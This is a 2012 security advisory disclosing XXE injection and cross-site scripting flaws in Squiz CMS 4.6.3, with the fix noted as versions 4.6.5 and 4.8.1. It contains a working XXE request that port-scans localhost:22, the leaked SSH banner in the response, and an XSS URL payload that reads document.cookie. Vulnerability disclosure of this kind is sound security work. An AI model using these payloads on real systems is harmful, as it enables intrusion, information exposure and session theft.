Squiz CMS 4.6.3 XXE Injection / Cross Site Scripting

`Sense of Security - Security Advisory - SOS-12-007  
  
Release Date. 14-Jun-2012  
Last Update. -   
Vendor Notification Date. 02-Apr-2012  
Product. Squiz CMS  
Platform. Independent  
Affected versions. Squiz 4.6.3 (verified) and possibly others  
Severity Rating. Medium  
Impact. Exposure of session information  
Exposure of system information  
Exposure of network information  
Denial of Service  
Attack Vector. Remote unauthenticated (XXE);   
Remote authenticated (XSS)  
Solution Status. Patched in version 4.6.5 and 4.8.1 releases   
(not verified by SOS)  
CVE reference. CVE - not yet assigned  
  
Details.  
The CMS is vulnerable to multiple security vulnerabilities, such as XML   
eXternal Entities (XXE) injection and Cross-Site Scripting (XSS).   
  
1. XXE Injection:  
XXE injection allows a wide range of XML based attacks, including local   
file disclosure, TCP port scans and a Denial of Service (DoS) condition,   
which can be achieved by recursive entity injection, attribute blow up   
and other types of injection.   
  
The following resource accessible by an unauthenticated user is   
vulnerable:  
/_admin/?SQ_ACTION=asset_map_request/  
  
Proof of Concept (port scanning).  
Request:  
POST /_admin/?SQ_ACTION=asset_map_request HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,   
pre-check=0  
Pragma: no-cache  
User-Agent: Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_02  
Host: xxxxxx.com  
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2  
Proxy-Connection: keep-alive  
Content-Length: 84  
Connection: close  
  
<!DOCTYPE scan [<!ENTITY test SYSTEM "http://localhost:22">]>  
<scan>&test;</scan>  
  
Response:  
HTTP/1.0 200 OK  
Date: Tue, 27 Mar 2012 06:13:26 GMT  
Server: Apache  
Set-Cookie: SQ_SYSTEM_SESSION=472r0gjvcn0aqqsgbt7b42fi15;   
domain=xxxxxxx.xxx; path=/;  
Cache-Control: no-store, no-cache, must-revalidate,   
post-check=0, pre-check=0  
Pragma: no-cache  
Content-Length: 214  
Content-Type: text/xml  
Connection: keep-alive  
  
<error>simplexml_load_file(http://localhost:22) [function.simplexmlload-  
file]: failed to open stream: HTTP request failed! SSH-  
2.0-OpenSSH_4.3  
  
File: [SYSTEM_ROOT]/core/lib/asset_map/asset_map.inc  
Line:581</error>  
  
2. XSS:  
Cross-Site Scripting (XSS) may be used to steal session information,   
etc.  
  
Several resources of the /_admin page are affected including:  
am_section parameter, assetid parameter, sq_asset_path parameter,   
sq_backend_log_type parameter, sq_link_path parameter,   
asset_ei_screen parameter, current_assetid parameter and   
tool_reindex_reindexing_root_assetid [assetid] parameter.  
  
Proof of Concept.   
/_admin/?SQ_BACKEND_PAGE=main&backend_section=am&am_section=ed  
it_asset"><script>alert(document.cookie)</script>&assetid=73&s  
q_asset_path=%2C1%2C73&sq_link_path=%2C0%2C74&asset_ei_screen=  
details  
  
Solution.  
Upgrade to version 4.6.5 or 4.8.1 releases.  
  
Discovered by.  
Nadeem Salim from Sense of Security Labs.  
  
About us.  
Sense of Security is a leading provider of information security and   
risk management solutions. Our team has expert skills in assessment  
and assurance, strategy and architecture, and deployment through to  
ongoing management. We are Australia's premier application penetration   
testing firm and trusted IT security advisor to many of the country's  
largest organisations.  
  
Sense of Security Pty Ltd   
Level 8, 66 King St  
Sydney NSW 2000  
AUSTRALIA  
  
T: +61 (0)2 9290 4444  
F: +61 (0)2 9290 4455  
W: http://www.senseofsecurity.com.au/consulting/penetration-testing  
E: [email protected]  
Twitter: @ITsecurityAU  
  
The latest version of this advisory can be found at:  
http://www.senseofsecurity.com.au/advisories/SOS-12-007.pdf  
  
Other Sense of Security advisories can be found at:  
http://www.senseofsecurity.com.au/research/it-security-advisories.php  
  
`